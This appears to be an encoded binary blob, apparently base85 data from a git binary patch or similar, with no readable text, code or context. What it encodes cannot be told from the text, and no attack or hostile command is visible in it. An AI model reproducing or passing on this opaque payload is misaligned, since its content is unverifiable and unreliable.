z^QZ~=+8l3Nc3w(U-p1z3n-z>Po~WLnIG8WiU2tC0GlS(Zu~aoKJ(%N~+!)-Dm>KBd zM-YAdRPP~2+|z5Y0jC|KT2r(n0JtWC2OckkN14BKuEsP+^x)l`M?ceGSo<>e(`8Tz z<WJDO>LzIMU*Qvh;wXE9ievm@&TQ*mJbE4@LP@%�^SRdv5<jPo^V2u_Kr%6A|C? z$PY*d+pBxHu7f*;q9wAf*Z?zuYYOI{#Hgi{VDN6SVMy<PWIfQ}j60%x)F47|L;%3) zW?O*|A|;(|0X&hB5K+Jsho`cO;M5|d&syF|3FWG(!;x$i6@Xg@JC1-b9LG?lybddR z@)7f?y&8@uqkulnC_mI`luo_~*d;1A2Vcwq0(4H#5#vW>tFzHQU3bY=4#6g*&g~}R z?HBH$J40cg&dJg2;lydL^6St7C~42L<70$S4XwFDwl?5Sgabgge~ZZ-(RN_PAG^q* zC-rEE$e40?p<tdTLacej!=e@*RnoW=j#MN1vVQ8v`(UI^^}rLmb3JoH?(cR+#qFLK z@n#jyF<05I;6+4$wqRmFl>a0-L9zlSM0=5)Ae>PL)RkEH3)mVu@#-(=1eQ8c8y!#s zLrV=Z92Bu$VgW`BK9*C_S+gj8G|8z~=YdrIeul%IMEe1LHNmgr$ruM$cZ8ywG)4CU zzZ%TGnp`?Yq!ZP%`^ZFd!iTb^tOI?m^q7fAgU?Uzj7s!U*pZ|#CbTI7U@L<h&c;U{ z)s&6=LyK?|p|oB#GAT_|2d@C7-yhV*OQyJJm#a6z#9ynvrY?Y@poW>Sfi#5ND?rcu zmUvc4!o^GR5-p+_>QsiX1o63m7R)`jHXfwZsx#Rq3i1j}PMmZR<@0^(nDS|dd5jV3 zhK`|)E7^u9pZ}s_L*?_<VZ1#bi<u${{dJ7H#SVK~W{RGT#zROz4+-2WFo!H~Q;?)T zZv-UV7=?uBD=h9fqyrc1HZ{NyQhJjV54-zMAtl|?-CFe?NMZjzZ3izn*D3U22<9Aq z#_d3T$j=B$L~nfc<ESdw{zttmJF)<&5QIT0Euej+E<-*2l*_7+0IrFgrfrx=GZT<m zQ{ACNE~S*4C55nXDpR$!b0MBX=g4!hSKC9oxZ?;qU)2!B@OrziEP!_I0&&FQvgKcr z3Y-{XH`HqwTXbR$1i|<M@B8)pjG#M?HJV8c*W|&t8qD6cQCCn6m%2A!kKuLs?@NnJ z;eQ}M==33*gP)Fzmo(V@i!Ko7s>|<!AYpe`ic`nfshxN;6mky)$VoOt%hfo_D%`8! zg1Dt4OsZ3PR6Zg1WryM&^D){E)l)$6NefW{0h}Aq0<11UcOycf)zmVa*S4sse~4db zOnRZ3jx~y))Q}qVK|5$2E#FX58_!>M%?Xf`cI{1Bcs@v<&Vg>&ySqf2xV>v2r;XXW z2MJB(+pu@tA%6DWy@&y{^sbW_>v;cssA1o_*#XZ2V5$41d>l4$`Io247%sT(FFX1Y zKu+4xxm=Cl?}RyVY)8jZenak|t0Nr^$=Y?Cj^4?sYtC&wHh19D29}QYp!)~n9j19? z8^km0fEN=ml(YrT=f9B83V@unZ#7(u(6?mzY#I*Y>y4yu&#j8|?Gr*DZxAObO)~YC z?%UM}xMJzsL-bprZ?0qd_LyBjZ=eqVc0&n-1~D_bMlQ8Lot-6W7-5G&tA2T-9Gb!- za7F7$<T??B+iDw9_={b7z861Bow}dqE4VKNNGP759q<DHlEQMK@M0^44~UBVAiXd~ zVSoCxL+)%Gme3U5&t4plhq=d4xZOVNSDF-lO|=FJg#e-O1v_990)~<n<@}|5OasVC z<zs=_qY=lGkH@KZLhiB^k-q&~R+r<*{@vR&$uaquZ<mi-`Thj*QAg9zCj0l>0WXsm zElIWRzwFy$fSj~%Tc}qd`{l>$+uNcj-5)PU-!ShT>T}V;$LZUXTO0Q6DSS%KBKxDM zl+m}dj_I4n4tO&F3qVkXNY<qt&5udoyrXJPEr}&|niM5Pip&jtnmQoL#VnUC#B@L& zV<e-qSV&<4W&9d7lIzsZTQqW3k<%LDB}i6{%+-W-^sK)73|r4$6P2t()@svy<*}_s zUf|=sJB^YLSqGh*9-AW_M4!34ehXg9Vv#Rv!f|+=_A4qwJYsV6QL>F97qNq1@6faZ zAnDPh_p<|TGZoSFC_pniz!DQ+S`^@Gm#wKcO@N9hz~gp+QUI{?8wrq=(%GWQywsOq z!payEvZx_L?rz_J3CMM*Tp7~iFyUMdmyHRVPPb9kgp`2^ukY1>LVzfWhm&l8n?%>O zJ$xD`Q=J;gS&C!uRcfh8-|pj0ji9I(_g9->xyW$+N3{QOD1BgaLrPcR#jj;*3?u<) z`JmW7R=Z`a9q<|el9$O?V7N}<hy(0*%1zK6e;s|u+f)&dF#CP};+}F-zAUK2J<2qP zdJdBm33P2I)htY_LKBl1tC>vDIfm0B+<?9-TE_iC4Z0|^{|iyhx{GZjLZfM%P2SY7 zi!a#&fjuVLn)}7Gj_G8+9rR`ay$|*?dWcrw-=R<h-4}T9wgUdN@id~4z0BP6?}nVj z$j;H_!K}SG1jl%af`e}gzJl1i_Nw<pa>u0KEmpPcK!*fA6Bia<Gk*gzhrkzz%kvR; zpbzY>SEV9%8eQ<=gz?o5N(VmM_Jn9aUwZF3X*i^dSI(!vNjW4?m{9E~ys<}5)d91X z2+qW>xDU}i_~-uGho~H8&9!VA4n%Pb4ub;`?_jRN_=*eBbPuLg=M>)MyPIx8`W3a8 z(B}=!Grt!|S0cTI_l_DqOgwb}gg-H<iKnP&@Cba1k^aQCdGr|GLoXrxiFb9--bSQA zZ_yy}Hr|UA{E5IK^dJR)qHi#~lm+}~Cftc>7?vRcZ%@8b7v6`GPG5>6^}(D3oKU}X zFnEMp>B$%sa^)9Obu-P^^>`69-pLn1OAxt&0P8r5bmxZ+ruS6$TKtzq_+lixtNoWv zzz}rPY}Wj);C=A<M7~%D<J)WhX5DfzM@%~Pck9?@S0SqHyVvsN?oNJLrcRZb>sUt& z_W~$Ohq~Yw$|I+Z`hl_*X!{T=1SP6roq8N{CcE52P&>r%05VK3QA1B^Ym9I~u+>BH z7dbEklRdb^hdtYT3OJ?Z#G5d5Df1-D{89BMWe2)8P57I&s|qV0^d$%~y%`{EEjuEv zp*q!+O9%4&JJ|L-si&8aPwm?C4O6|w7NdLY0FMiR4<G--8xs*ZHDII3l2fqso1J`4 zmSp#xAWV)Ft8OyU_yt>2$s7u6QerLD*foACTB4aS9q6^1JB9p2uLtU0C$raZA4hvl z=*{bNulano(5i3#nm$O>JjQ^)TCWX=M_?F<4>D?kOeHq7ID#!=%+koj1*XnpEzQIw zcFOw`fbB=Rh}s&^X9vtOF|k7$;1WAPGZP@jq|Nr>*axi%r8b`)1z!_N`S=>hBVt0= zs~@4p$*vL-kI;#WkHfARKgZZrE8AJWz-xAuqvmngRiW9{4YrM)U4w}YEwWyeUFCvy zUOH>(PA<2vgO?Kk?5Z_bOMkmq1Ab}m>?tNDcF5$X9bl{MQ>~`d8+L%j03d7nZh*H0 z0vvg9q0U_o8f0EC!)qMN3#*$ki$tdRnPUzE|MB@@%X5k4d6N0;%Z26h{36IddW-MB zK#J)nz|kzdPOF1TcefA~bZ`D?AN=MZRudU{SD~6=E2yanEW!H<mwz#E!&iDjRRZti z2^C2}#(p&e(h{MFw)jddD?1lrX!ZLnv76J>6KhF7{XHNlP0f`(DWBSz-C#}KjgRd- zFBDL#9W=xaaJc|<N}rRaJEJE5z)_MnKx@E$MEssC_X|N^GDQ!{G%ehe=Pg*&o+Jlq zg3Z09)yI4h81MIO{lAsL=MOt7yrne=RZ`;}U$5T}y#cGm8&`u?)j%}afbB114`^Y# zZ_@vU<vEZ&VIt;aS!I;Zrc_+`qm9o!WGN$`mu=JHLJnv?e}Rr$>`o;cRV$x|*#W8n z0ESIjfj8LZ`*m^X`{N*YASMmO@MYHuE*$hCUJKh_x{c$MA$Jmr=buYi9?QuRq)lha zGH34#TR9AM>I_^t*B@b;i21A?qU$lj?dsKoGQsf)is<`bZ#D3tUUd!@bou2P%rsnG zXz4ph9n_nrs<A`cYfq!;T#k;IdAXR%gCN2DeFQ>7?cs>Z;Y7Y#Bwl&Bsg}xS7l)<u zK*}Ft;`06Z9@)mzwOWfO`B;Q%3wn*z?PQambl|W_?E9}D9nfEQ9fM!}{Z}8J^!sqp zAa}vXZSjBiMv{bao*VZI@3o)&Mm$^KBn&#>IKW1_1@23GT(FNME|`grLBb+__j~Pd zeM~qiE#qGnxJmnL?LLBJl)ipQMDSf>hihZP3BINlxXF8M_{Jegd>g?xqX>xzzLh&{ zaFs|BPVl{jL<H{lunle-l2Q7;LLvh9rXB7X6Hf3wVu727fwb`XLnNd4{w;&7$784+ zuCECv_;M_8<%SL4cqF6v1|t!n&uxdh%!CtsXIkJ|?XlrI8_6hN4)2cP^W)jlk76VV zS3y4CW`XNyhr85-n?|@~3*6p18@??_65n*fRU;AU$A9f`|1sfK5^k&ouD2a7--MI? zwza^$vdh-)6eQVhIpuy75|MV7?6kqnM3QiYl;{5-5rOmB;Rc&<(r&&5?ghL2Jz>h9 z;2UO<Kd&7w+k_K*Ei7>N+vTsnDSzeU%XJp{JI@Z6WWou)Jr=ndZI{3MO!+GzzCsJ! z#df%JO*p|<Z;`8jUH%?5<xl$CU&BGIkDLRw4%XxRKbD>XQR^__GT|bysCPKJ)LpXm zc3-m+4g~Cy@%}?9;5{7_GW>JVw>xxPbX&zWyjC^B)c`IF+qD(1_NL%1=%}q6y<D__ zugPD|jr~dANKFQaZ56kFLT0(zNrNFmIml~B`G?|ZbU%w=b=vhYPbwUr^756MaxW+) z<(Ves?MeA#+eGfz<4pC#cjiJFFDmbtLjyZ7lP&84-%?xV?+7F*&s?yKo^n}B>!FwJ z`jqOGa5BClE&8;l9WKv=OC!Dv4F{g+l@k4EkF^v(H?6>n@dCPzFv`=oSn9JL+%T1) zL-a^ZM>Y(CFK59z!G;|cW~~Y=CtJkbIbS@M*fz1YIA$yGbexUCO2`%Pw1*XJ-6$lh zPC&+u0_)MLl)d;}f)@Tw)Y2Bt=MXcCg>wo4K<4ScaD?mB+h_5ed#!p!e(Th;_{I5w ze(QOj&7Jx!--sVo(;toTnP`izuowk1WLpZOKp8*LexOBAV;X2})c1HYk~hoyZ{OPJ z*bON!{yH*p;ZJFY%DUg)zFuaS>m~O+Mv`T{yvVNaQ?2^`Pm6v|w~ud%IldwXhfpb^ z|JK>@ePiMq2;LggEpSiS;Yv-o5rn(T0_U;AU17paXFs?&McRGJPG6}>Uy0yDA_A9h zhwEU%l@sot7C71pQ69U>DBe-IZ?ECh)ASqRM8`%{j-BZ62EOGftcTTNY8}YcZWKfC zUY-lV%Mk&tQ%k?5^hkWSBVzse1xyRD1D!jL0B=M#@H|vu7vMBCn#j-)>qU3EZ<~Ho z*3tre9-b@$oJRl%Zg+f^guh#HpM>*nz1%AqgAT0WQ^?)-tLV9#JrCiSSAQ|zOgU55 z@zMGP$7jt^67Bwlj1u&#$mKLUU;l0LRUnHsUj^<~JDk^qTgh>{RKsZ(+0mu!hPcRP za9bE?+w&6KYaUg@F)snT9YKrUsaPX==clircfO-8g@Vb94Id|P5>+m^nWKlT3VM3Z z`R1^lfqGa_$fho`hxQAY9=1YMIL@$5)5BJQWy-F17BADo#(Gh`Q^!3p6fA4$VcTOL zw#l+dhJN``58GupcTIX)%P+pqh+pFceQDOu?rXl^gdB@JUxy@{p?Wh~BN3S&+wJ>> zb>@D7Qe-SZ0&ozCZ$FJJUiHx6(bcZ-*wt=<I0xNRmPXd;<x=7JtKIA1h|vS5lB`3P zv|5I&HOkZl=sbrkjogVW6}9SiE(aL0Ok`t*RD(Kmsi;%^As^<DJuSKv2i;g(mWmua z9cRdPYdlF`HXO1uC~TAs0z{UIPJ(t`I&0}6yB8yBnQ7~|Ma2+p`Cbp%Xq<QDkd2bx zT4N;_-;n!!e5ZRpU5M&E_6Iz`s}s2Uj%Dh-qIldL5H(#JKaWU-<1@88Xf}@GFb_EM zdj+R*je6u;P{dtzt;il;o?xj`Qn*1ieT=dZIX#%N7TG$A$!t3IIM?DIP7aPpP;0)& z9v%lg-vG^^Kj8}qMK<Z*PV_>*Wl!$>LHGVK9?%ZCPeE_Z!=o>bVuO5xGYDnI5G*^Q z15)g=c#0{D)4*qAyPWYVL2FvRU$XCC<x9_yZ;pxafZo4Sa0)qap{y5XVq{yPE+>4a zDpHH1f=mpjzX4nyD1a&ZV0A!xIC`ymXcNqBj^gLIR?Zq9;@7wYoS~Ej@5ITkqLs|= zwb(r8g}V6=di>nMmO}3LKLeu*(7LMphE2!L(uqF)PV<TJ4sc)ggcol}vOZ;Yl0(OP z)$&Cc{>OeIhp$RMp=*xkQ%_>m9#zdrDWy>}umsl7oOE=-VwS6Y=rO5+D+c-q-fD8Z zL^JX|2!||qwd$9fG~<3-qxpXyt`o4vo&1Fuq^jHb6moA_6cv$&AHc%Xotv|e`%<($ zza824I2OK!#{|c&Ce{P$Y>ng97>=um<4kZub{J@I2E-IU-;nH(`@<PP+lFW_5wx+_ z19Z|}Bxvi^0vu{KURn`DGE5_x2qZ#EDC<6`A5xI}>`@Hh0ks1kmN%BH<_HkyA~l+q z#W4$uFl)ox%fq#D?~`7iJv8D`l8+KIGg1A5%y5mFOjT~w4sSJ+h3cOy-5Noi#=>o3 z1oe^dlW{044_8M@8?m%D{8@Noct`BKarjNdC;tUCAhom~)jHfqH4uYJNC1Q8V$np5 zbd&loQ5sg^6<F-``Vw9n-eU9vxVhdM<M3>Wk6=Kb*wXD9q;G7H?vAvOQz!c}bv^0X zjY-U2!S70^0R66b5eMg+x|G*v@sy@6Bxy?_O8`_UOz=uACu1TLE5mz;0X;IXrhx5c zkHR=?9#+O-Q4={1!`Xly2L816hx){tp3)#q<%34imZpC+S~D_{X<UOpBtewjoy=~- z9FvYB(y>LR0Dx33%MVfM=^8m|HDt}GjpcY%;SH#=8D}tW+0&Yu?bc*p2f6&d+f~^J zx_QcZTZsRvbXA32rg1t`nms>YSqRS&)Hs^1aGE^)fh9sIL);4+m$PJDc#lP1z6vkJ z@<kFqL1B6LOHmA5Ni=s~<k56+`Ds?2CPPDDKa(|h3jZ9Qh)Mv4LMcbR@UrkvVJKN) zOseVwK;t|xJ-j1YxhpGg3_~Iu_=2JeZ?n)-Wz=9bh{~f;&s413IMN{fNrUu?2I+5+ z1~KS@9>1?~l2pFKss~lgMLN8R#8<>R{WdZwX|J$wG3mxWa*>+Cr0%rYzlYUm<Qbhr zNQ8?+3G*xQIjAf(6K_E#nRo*WF@quB#P=^IBlx6tQZ)wlOWJc<)LQ_;*Z?6h$0&(4 zwh_A+ni~5-93Lh2-S`bJi&DFZNsT=g*T(o5$gTYR(4G!Y2u~%^XdwsmhhGhU9G+)| z_t@c$0S(gqkR}3|75zbiaXw`nNvtG`Q~`<FZ1(P7OnlFY%+BlaxkLbrmnHBG=C8yw zl78y)(}?mlpbR679jB!_ghQp_8e=GG3@JD6<c~#OdLj)dP0w<kKZQ!3Nz)G`!EQwS zU#U+Rs3Y!yy@3RHo-mPKB{;#<GlZFo1%MSMF@Zn}i^4zQ59Q=R0s=4XQ)!7{g9x?> zPsGbT5!IXoT1ZrRtRO7vNT|6Ht<jb#s_*cRdjDnQX#HvU@XPtKFFb)Lg{pcU=tQ%% zkQ&JZ&0*wWZtd2zmaBD4Z#BBZEaiH@`_H&>E~hSFJMH}j_TVjMbQydGg61i1LJy<? zK2YWZ?~FpYK1t(!Im8tBgZnb`I?@6dxQxQL4&Q|^*N;fV{fiKBza=8>pO1+9=Q85{ zC4lX8YPrkb0T298fbO3rgyX+f8rp1r7Xs(8XkWpp@}Vcxzmd0cOFVnpeIa{VgAimx z&%-J9Yop1YNahCisY{s?bazLRC-i^D*%|;}M&M2JrRd^Fky?q2cDyJ8IJF3gJVYV% zKZga$Q@Sgz-MSk>oqp$A9`Y?8-x!L|+J9~v$ASc!6^kqJN{3JQ-kdI5jWYG&G1)Vi z{VcKph@<<TA?Xb!q?)g%g3cEkW;||YAfiKJLG~XS&{Z~?au7l=P0HJT_(wJW_~llI z9w;?piEs=zG)VN!f^>YfqNQ&=KV7jFpRVw&*<V@XTV8SqqwzbclpH!0@r(S2rM7r4 z7A%03n}*6<R?j3S%PR1>XIwaYzA86ipkw~2X4!u9hh<49D^+ok;+AIdkH;+*(ePLJ zn!`Tp_+`9fHuMWx+Jz5%lx+nOxVx8z90;3;nie_ZTrKxF!gSjiIHJZlm-7CYUmnFp zpgM1;3&zjc35EE%zrHnpS|g=C;j9Q{ZGIEhEsp$(8P{SCEIYbt4yc>q8t?{laasnt z9pQ}-84}-dc(C#AQk;l?25}W%GWQKxpA$o4A+|=Xn@z0unXy*t)M<idp1{h6(a$)= z*z(vT?@8@C_3cu08FM#B?=5$M1#{#@B6*?4VQ0ZoGj9L8_R>LSX_~HkhrP5jN+}xG zQ_9CL=1jI;(2LAZGmidgG+_8SA~TNuANrAT^mpSi8b|+SBp65k8U7-Ueu%$_oc}d` zbr603qj;3)J9I&CrzLvY(yRZ%{x#~+Am<Ur{;N+h_8`w3dw&A0rjYwHW|IwCB>X$s zRGQ1bmA`0uJ$@s>`&2O`6$0q;zlJ$@Y-9!~C1w@^o0RtE1LAxlu&2C14qqDKN2j(f zKcmBX5p^=ZXtxIe4Dz#on3Q`}j=s;D&rg~lV!{;&ev=TIz|VFc_~C-xtxE9EX9TJ$ zcP0O~qy(MLt@4IO@(jQaJOjYbm23whSLs>k>2=^|mZQ^U#sALp<Jx&|wpWz0syS7G z^C|ok6jgQ)ER-un@HU=TKzq0#zL^d;SAe)ziK+-L6UMN@T{aX7sAm#m;yt0!^dXw~ zgh&-$n#`0ccnSiiXOg3|@~^&w2Np?q{Mh;_d-pfNdW*k_!ay-iGsfUa>mh;bZ-=|l zgv&Ipw!@{`;Z8N-a*W+H-b8*(IbDNg%UCOGm!D%O-}Qiy&P5hLD6jk)L{wfsM1u1A z7Jnf$FY_1j8pN-b*Rm2k8vHJVv;)E0^fq?0=4==3rw+`6ba9oz2``M5I<N=>hSg^Z z4!RnzlE&!$P8m?@XpDs8Y#GqX6b|U2?tz0cN(~0(MQ9}sVIl?ub-n>Ggy3b?iSM-1 z67_K;0JX?YYHS8=!1)4%YM{P=RNF%~7(Kv5`tyoX9?>YT6EZ3zLIruU3CCFxIv^a$ zphc|AA?2u_Efo)es`_SdzS_Uvj`DLf{>>;XC|V`>b0M(jL2?@k?MGO{MQC%;<MVV& zjf{7}!Q7y86%hoJUdN9&nDjJ$@{11U2NTe8vqOk;oa~x;g{S>q*F+C&r;+WDb9-EF z``&S`iJ8nuV@4xnG;&QmpBXM@#3Li#HSu(0<YxTPy=Y~Au+yQ+ZK>UYO;>SpdyDpa z<FiheGu&B?@#C5~F3vSGKQ7}?<)&nB(K2rwqK#zjY{HUmja)MyZp4yADS@Gyv_?v9 zj%UEv+<>zw$j(^E$h&c?Q2IGaWfh~9#dXZ+0}p64+V6ZUKTumRO7!=MxX#}GIz#b} zi$oh$k75;<_|^D^2;)~*X(6n~?;r>xf2sQG88P{LC>QZVw_AqE9qM^zT=t$Zzaw(7 z(2!BNX7i+}=|zB^gH;qB9B22lU>8*s6s7dU1DKzJpTLiv3p<sR9Oh!#7U>(ws!5&V z0Cky$sy{Q9>$|L=DCunE!^)~b{(;p^noYoWdR9zAqysXz^k9Oom22kI1Wp}nCW_n& zV2G6T34VfCO~B|L&Y5&oqwp$(30a2lGS0N;5khSr=N#@Co{DuGiha@*=o*8_EZyts zy%Zs5lDLkK>W!>RE3v{C0It*-0?Igp-|u6b>N^mpx*@m7C9W#R<&yCxO0>S&>*||S zf)*n9cO-(2S)6J3SK@8wT!)Ns2;r(-Q?A3B!?@DR1Swl+jhqGpz*%Yz8Gkus2rG^! z4u@mS=D?~+Pl|Rihsx-WUSR%(vi|WBy=%CC`-NWP%HF4b4C%#HpfP!-o<W{w_1ge@ zht|lPv_2B)z&oo?eqma{@IiOt4S3am5^%J7YC0oMN0ga&*5Hx-ZXG#%*j?taZht!O zaeHT_-FMF@U)qr2XqvF%8=N)r{z1OW(hBauvBVNU4IA9{S{6QxXGXo$CX$+X4Xi78 zOLL$k;W$;-a4cz`F)+JQcUK^JvY<Tk`=#~pjl5^rT_<sV{_G7UoaGITIjgBRkcm@W zZLdx1!?OdYef}57*_{(a`{{>~;98A9KdJ~pUdZ*+aEhA0Z{YrsF@v6V9YgeK-bX_I zXii~l!0=ciSvBhJSl0c>qH#G`e(O{}6C_WANX!%&ukb2!GuaUk;qMTQm<tT=4;KWs zgg+C>G7y<T2O5{K>Ji!Dv=%YI+@@G%RLbl&5Z)J*EiBy_=Uuhkd+I{Yp06-_mKn2I zVhWIHWzVO)hz%`bK#MynIlSH=A`{FyvJUcPE`u@2foKiIoMnMscBD^#Pj;@)0>6WD z2EGQCpZY`WYl*7&m{M(N&Hld<ot2-S9J%!7_@XmACOS=2n-c9CUO889GVaEic;jIn zlB0Lvfa)!0<ZD#UEZiN3QpZ{gCkcYyV??PWp~}ZLKdyobJ0)A<henjh@x*`&LqrVD zrUN8upUCDuaKzIS0eSFEqVYSDlgaO444bg^Ijv~g&j252Ob39*8yuY~8!TLIsU!D; zqmu*9Z*kKg=&a^_183ac)(-U<j$KtdZ%%6C;L3v2o^h_p(^)+<G!dT}Jc@Y1kgi48 zT7|Wp73|0jt?Kj%Bs_axUg*w*M#bAb&<}BWq2l_vWD9S{+=ns2WT=YhWpA(;8@F2Z zE0kew_C8;8CJsyoBRg~ex8pVr2_)ltEDnS}^p-A3%*_rLe}k@lG*1UD=*J;0tH40G z{H=vNyg$YiaL9Akwr7O{vfr#xnHt#TXLK@e##-2hA96WD_(_C-z4<+$3T4fZDu_2k z;80c`8bW9VP?evtUhP8f5dXCiB9~J^oR2E=FJ;e=SQx=hLl!l^nZp+%*uS=TvMF2y zZ@>{}@*QvGln+k8fO8m1!fD($S&D8$QK|FU)3Edf@GYW62|zXu$Z+_yKaili#jCoP z{pzVoNSCv%;MYgU9>17F->xFED_j)aOtpznwqA4Pfw`J8^V2TeNokui)OI~uRR=$i zuK(*jf-OR`wakcqP6g~xpJN4p6YETTe|u*W657ukp#;;yrN6QqK-r7N{&LLcK@2x! zDrySXsk;DJRuOR40+q{u6-Gxw5Nrauh|d~Fp}eoIwZkZuh0=Ynu?(8p&2ERXUI%X| zH8(+OI5-@P?@?q7!iuX86z_*uR7;(_7x&I;+cr0^i>FsXwY157WVLe>TE9sK)A=k~ znAKBqS0J~yJT1dhISv<8I~U>U-}3Y&o(64a-WPbfL!LgtlUGXL$J49}S^5^9E=G5% zov-4lO-nw#fG5U6s&+n&Cl>~<+8M&rX$Zkk?VO0Gl{oHR?HrFMTnoq3XguNiHJ*x3 zZNpetSpA)QPr1lp>>y_>GdpE2#p?jPB|+!E0UJyS;~6|oX}PPlqxcSQaA<N=J`%|| z>W3-7h)I#!7#)DBE~m7GvQA|(<bE7K>M_Z3??0uDL#nH9z*!V7p<f1pkyT#+7~ewu zaRkfoo(*K7DcppUN%AtmIbRWr)jb_pTz<wZQLTs<@!yd954Mv+G!sxeTC+&k^yP7Q zhrGZA&pjLn5MN5<)3_Nj1!||x65&=?Vs2U{RRR|1fb(b~Har!wTDq^0%DdEiTH0Gm z68_)4Cwz%}T<c|aTXszx0(*x9nl{(H7}GpX-2}wOJjkHxs+*{A3L~@8lDdk8Z_#%h z9EFnu?sSx?^9dImon~awRusMJxn)6nG+=sgOLyc%CX@Q~Et8c{eYe1vhRsAJTb<LC zKbWqtw$J_+!xGGT2Vq>Wp-e+Qf7{4!X$6#byf@Ste*4aNJLimB0Vv5uR>-+|7>EmW z&Q#eKqZVw?ObNjbhnhFgH@!W+e?u9$6t*8vKeX?Ti*aqd!4{)`XpN|7d5K<p3dMgA zA}_`Z-f$r@oy_W=L7w!9dWSOXP_=Kyy7D5bfSA7D2<1D!!%v_Fn_}r(XWh5I?8?>4 zZC&a5iP@E588nKpL{I>+r`27duDTNrCka7>sNvF&8Q@udsEh7L+Hv}Ev$Y>-(vR~k z{g{Db^keGR(vMdEcl{W~@rw<~`R|+kcpF1V<1Vd1KMtsuWJ$+(@S-BeBg~c~<IxR7 zH5`wxKswdu6)?=miHqeI@xy4SA&7YzE?*|GGk8wMGu@xw(oVRLShgQk@tKgE=#n#} zJU^HRY<2a8$q)d@K~tAM{@6y#=#Pwori%K~@}3_&1twLbdKXmRj7A#JT;|98h(M+q z4<Z%u_j%DiG=xTgegnbN$3bu!l|=+J)%Y_y-{2s7LnpL93TX#u1#!{zT%^^nSfqn_ ziHwZcE76#NDxP2$COv^$5{-2L@#ta?%j0#rsg(C>Y8(W7FptRqQuorr3U<+@w=|Vc z`O^Q^9;+{d2|LvU7#Z9@Y@nJn$K(-q!5owO<ypq$4nD%bm;ummO?eo><gA!F38uB- zRrc&wX7)#x_>O@;7C@~yU{iXr=%~%KBC*MsjyzacxUmVjnyTOL!$1ioU|D+fP-|rC z$hjDGN0oDEJVX`WL2D#R2TwOL1OKX>S<$C!qE8vor*orEr$(Rth+^p#ecBRz`ab$p z9etV|eL6q-^jh@k>F85g^y#7K({1JxA|%f_sQZP-cg)9X=f9&*wQ-R?{j@C#IN!`f zow>2cwXw(VV~?N49zQl8)g4&E#p^l(Z)N0tEqq=v(>CdKt7)6}hG<Zi|A7_&vc?k+ zWo>~E9m;M!49MJ2kwg+#DH@(1{@j&|$^SV{83)~Wp=~Uosr9h9+;<?MlAbY-cg;ZK zSf(zX23re4!1I>+?Em}kP;Efu^yx}9_dTi;IpH@A!>l@P!$irt|3GVP;!?x(ew&g6 zj|0kMOEiTYDmhhUqnM%6%2AAyZck1l`5U;=y0I<as`_=T7kwrWbTl{<D6fC&RgalM zSA-rlg9q1v<9+;6_EXhslEeFFIINhC)lN-$0)L+1kw#}<hs47w8;B{88*G(=WU%e| z`0J_sH8D57RU#fMw<gB7b;a@yf^U*nj|US@Me^$KP~u+tYikGILoD_d?PO;Y5oZgo zC2#hUhc1Dxeg}(Q<Q#0u)%$6@U4_5d3tdm<f{v1o(7ERVKInV|c<|ZPd+HVP)fe<6 zh1~BwfkROU5aUp1lZBQ+x%wj+6!p=s0{9F8ac|L~cD`i?Z2PeWECXP;$$}F9KOO2e zU=KRq`JMLTI2`hDPeWJK4CEsHOE4=7N#UrBrFxW$U<fZ~f>|9=BAIgL7u{9;P{<J2 z10iPTf{Hn?aAozm^A!$@8Oq|h&xis6yD|LnfHDvD6<)&O&rKhp&x2Av8jQUhXyYjN zA_kkJOgj#ADC@_kKm#=uxTQ9}OlBOVh^9z=E$8}m+$daUu)Os84BC)@1s||(o$86B zvuwBkzqC+uC5`inOheof)fMJbs%nF$VAjzi(TFw&6z6X+>$Ia$e$}ZfkY(v@$#Ll) z{<4MsG|(>t!OIIhsIKwGjx$yFAaJg&2Yb0I1dE7RGjtlB8ZZ>sRoS~!%-&uras>N( zv)PjB%P009ztVrEL+(~DMNYd0(G9C8ek}~ES1kdE^$afL9%2?^mdoMLGDgM@ww?Ot zMZBY1R;F*5el(F%P_JGdMpsO|%F|j#t=~jKoWqv2cEF{eCIg?GsKRcTi&n%i@eIJ} z6LwVQkbj=+0J4U?&yC|@lKmE>nIGpnZxiOHYlU*YO1wRJrUf_RalZxS=6mIzDc|7R zG+;xFhAj(eU*Ve=*|n~+ug<|_4!WnngTkN|T7z{3gPddNR5|}n9`upWl~bQ5pR#t| z!kl`wq!o58K+4gIVv7@OTHQr6D^dZ$7~R?TL4B0s%wWB-1Aol^El7K<u|vI$@iJh) zaVQ)Uz`BUa=I&7)e9b;22jA85Uyf7q>UxZiF$?wys&+-y`3Q34P)izASz=b{hbqSX zYzXr*k+<8~1ODSPgTY6hd7eq0vzNFgc9a?|zNl`k2jmi_aSVYbdHA2P?mgb0{3ylV zBaX_?e<PAO=(R!(7EzCk&jGddb9PBM`*TZFF{eJpr*oxce9mvK%Y@AVyl0SeiJDL* z(!3csk+{%Xc{m;)+3*Hd(S#-pzEXuVdtSV$g;CZM;b?-H>H$$%%)yH<<iH<3i|W`r z{;2%8x>R|ySGp#)r9}oTY2Iw0^4+a5mR2M(o#yM!hTEu?+}}b`2%==~^Ekxg&DblH z;A`UE7rX}!c|%wIp!&QHxKh+eB%U^cqZm>6pA>F;FL_eSP~{=?0728IV<hQc3Z`s> z2PNqI6@RlAj_ECHNn>(1_>!&}{6N>t4*L+9vKPegQ7zQ-AvE;8d9&9S<Eu6=X)tc@ ze0a-Bv-Fy2kb=9A7*Y<rz7Ht-WHDw|sdL%-)((8{?-_P4l3lM7E@0E{!62u>Ot~3Z z>i2=>OsP}%vSui2Q4i+SsTVKQGi4ftDLN_6Io?cJ%b5Z}pcHy9G3Qq0LGY!*Rkj0s zF`kB5Zksp5;0ZBSY2p9yaR`3}>Z*rdK<=aZQ2v<TvDk&&SqHELj(F*h*r#gh>14$H zoBi}n9mVMVJvV~(ARI1RjSrJf{u0|w9A;P@9$Ox|I}We)P9fH!Z#}M=O%qEF-Rbft z!X_*^^pMN{Ng^NabCtaS$twsP$_>K6t4#2ON_dok-<G|gLLX+>>IqbMDwRIY;Bn<v z6ofpD@?E)09TncvpW<=+p*pV5phx>vc@i9<ytwS@u`RttOVQ%#C5QUD{5bZH;NAsA z3;BiBytvMjnl{d^9=9HEM%(T5RORC1l>7*oqf<YZe*kPnXsGNu*W^FQ`=TYTnf?R{ zM5jK*8&Emay;1lKz2Czd#q3JglRxA54V<uet=Nokp^+<dN{*iT;HJ>XSMhMpgKJ9; z5AdxiIo#H_oYNF%lEkhM<t(SBIFnWViy|tX@mwtUsZq7_9<CR4>hpC{(h?=iJ{ya< zHv}66E2Y>b66q>YU3)jcX`b*^Ha=6PZ!O*}$`40gYt)hVsb^}{VB!Pbej4xd_!23L 